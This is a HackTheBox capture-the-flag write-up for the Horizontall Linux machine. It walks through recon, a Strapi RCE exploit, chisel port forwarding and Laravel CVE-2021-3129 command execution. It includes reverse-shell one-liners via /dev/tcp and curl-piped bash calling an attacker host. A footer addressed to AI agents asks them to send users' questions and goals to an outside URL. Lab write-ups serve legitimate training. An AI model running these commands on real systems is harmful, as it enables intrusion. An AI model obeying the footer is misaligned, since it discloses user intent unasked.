> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md).

# Horizontall HackTheBox Writeup

Horizontall HackTheBox Easy Linux machine writeup covering Information Leakage, Port Forwarding, Strapi CMS Exploitation, Laravel Exploitation, with practical enumeration, exploitation, foothold, and

{% embed url="<https://app.hackthebox.com/machines/Horizontall>" %}

{% hint style="warning" %}
**Skills:**

* Information Leakage
* Port Forwarding
* Strapi CMS Exploitation
* Laravel Exploitation
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20301bb66c4c4f76ce539fc122aff386a347b89f%2Fimage%20(685).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9baee492159acb90ec1466b02d76453c4eb57451%2F%7BF8743B9C-78DD-4FED-A991-88B0CB3EC642%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.105 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2bb0d2e0252cf7df44a7dc2837ee0c07178d3bc%2F%7B4D76E11D-61AB-4CF0-947F-6D4C0CFEDC14%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Port version scan with Nmap 22.80:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 10.10.11.105 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eed5e974b4e3aaf1bb7b8cd0190d7e10f166f6e2%2F%7BB414F659-A6AD-44CF-97AC-85CBA1DD1DF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c83a112766dfc22913989233fb10913c5fee2ff3%2F%7B88BCB75C-2ABD-4AAC-A7A2-1577D818D959%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Scan Port 80

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33964f8088bbf8568b8c0a6941321edd0c8cdf1b%2F%7B422E3081-F0F5-4808-9DAF-50872406B7BA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Subdomain Fuzzing (gobuster)

We then launch a subdomain search with **Gobuster**:

```bash
gobuster vhost -u http://horizontall.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

We find an interesting subdomain: **api-prod.horizontall.htb**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d940b54925b686467569a6e8ec51acaf45225fd6%2F%7B8EA030E8-24C6-480D-A1E6-E4DEDC54DC98%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We add it to **/etc/hosts**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4fbdd43ee9b21b41e535096bb9419f7a34592462%2F%7BBD88A165-BF3F-437D-9AA3-F4F0E948460C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6b4f053f8265a19bc6b407a3863e732d0c0d734%2F%7B7680AD3B-455B-41F6-979D-9E254C5E5058%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### API Directory Fuzzing

We perform an analysis of the directories accessible on the API subdomain:

```
gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

We find:

* admin
* users
* reviews

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40096fa636dade2ea057c35005462a8ef267a141%2F%7B0CA1320A-12DE-497C-A944-4E0E8E4FC0C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
gobuster dir -u http://api-prod.horizontall.htb/Users/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

### Strapi CMS Exploitation (RCE)

We are looking for a vulnerability for Strapi with **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8cc970e4b5c3bac600ad4f520949c707f450daf%2F%7B35D7BA0B-9172-4F74-B29D-74CA16E134E7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We use the exploit:

```bash
python3 50239.py http://api-prod.horizontall.htb
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e09d172df466768f6b347acb5a15148c5c17afa6%2F%7B53021833-6E72-4A79-A8E6-2F19495ACFBD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

This provides us with administrator credentials

{% code overflow="wrap" %}

```javascript
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1 
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f3b1790ca2d9d9a6dce9c51a3ae86f29df6539e%2F%7B8742055F-D2C6-4EB1-93AC-AB361FE38CD5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We retrieve a password hash of the user that has just been created:

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-accbc0751911c7774923efb59d4cd3f9617cda5d%2F%7B50627C1F-1605-4281-B461-EB4F33924607%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Obtaining a Reverse Shell

We create an **index.html** containing a reverse shell payload:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

We launch a web server:

```bash
python3 -m http.server 80
```

We open a listening connection:

```bash
nc -nlvp 443
```

Then we execute the payload on the target:

```bash
curl http://10.10.14.75:80 | bash
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d05e583fe7fb8ceed6b68341fdaae691a25dff5%2Fimage%20(686).png?alt=media" alt=""><figcaption></figcaption></figure>

#### We stabilize our shell:

```bash
script /dev/null -c bash
# Ctrl+Z


reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e382ab18afddc9451242a7db7096d0875d97a62%2Fimage%20(687).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilege Escalation

We then listed the ports open on the target machine to check the presence of port 8000:

```bash
netstat -tuln
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d630123a94cb800b9ca8e7d470feeb2ed78059f0%2Fimage%20(681).png?alt=media" alt=""><figcaption></figcaption></figure>

Then, we used `curl` to test access to the service on port 8000:

```bash
curl 127.0.0.1:8000
```

We then observed the presence of the Laravel CMS.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a53aeea0751838efae551baf642d86317c9683d%2Fimage%20(682).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port Forwarding chisel port 8000

We first compiled Chisel on our local machine:

{% embed url="<https://github.com/jpillora/chisel>" %}

Then we transferred the Chisel executable to the victim machine via a Python3 HTTP server

```bash
go build -ldflags "-s -w" .
upx chisel
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4989ad799b602ab128b078cb690abe752ce5bede%2Fimage%20(683).png?alt=media" alt=""><figcaption></figcaption></figure>

Then we transferred the Chisel executable to the victim machine via a Python3 HTTP server

```bash
python3 -m http.server 8080
wget http://10.10.14.75:8080/chisel
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1cbb0a78f07453b8f55fa48f1efd088999afd9a9%2Fimage%20(684).png?alt=media" alt=""><figcaption></figcaption></figure>

On our machine, we started the Chisel server:

```bash
./chisel server -p 9000 -reverse
```

Then, on the victim machine, we configured the Chisel client to redirect port 8000 to our local machine:

```bash
./chisel client 10.10.14.75:9000 R:8000:127.0.0.1:8000
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd557f1521cdc827a04faa6699bbaf05b9cda5f8%2F%7BB6238774-9C13-4390-9F5B-45510B38D907%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Laravel CMS Exploitation (CVE-2021-3129)

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-506eb507d9be1338b8840e3cae973754e3b531c2%2Fimage%20(678).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Executing arbitrary commands

We exploit the CVE-2021-3129 vulnerability to execute arbitrary commands on the server. First, we test the execution by issuing the `id` command:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

The output confirms that we have root privileges.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28f3919b67c882d9ed14f04f06a2a9e53db5f454%2F%7B55509709-B678-488F-B911-350B40351CAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

Once access is confirmed, we retrieve the flag by reading the `/root/root.txt` file:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'cat /root/root.txt'
```

### Obtaining Interactive Access (Reverse Shell)

To obtain an interactive shell, we configure a listener on port 443:

```bash
nc -nvlp 443
```

Next, we reverse shell the target using the exploit:

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

We then gain root access on the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-346dee540bd18ab194c099da9dd65afeae0936da%2F%7B7D8A6B14-4811-4503-AB7E-6CCAA2692F23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59e51bbb00b12226e1e1595e0fd97477b7b7ce19%2Fimage%20(679).png?alt=media" alt="" width="541"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
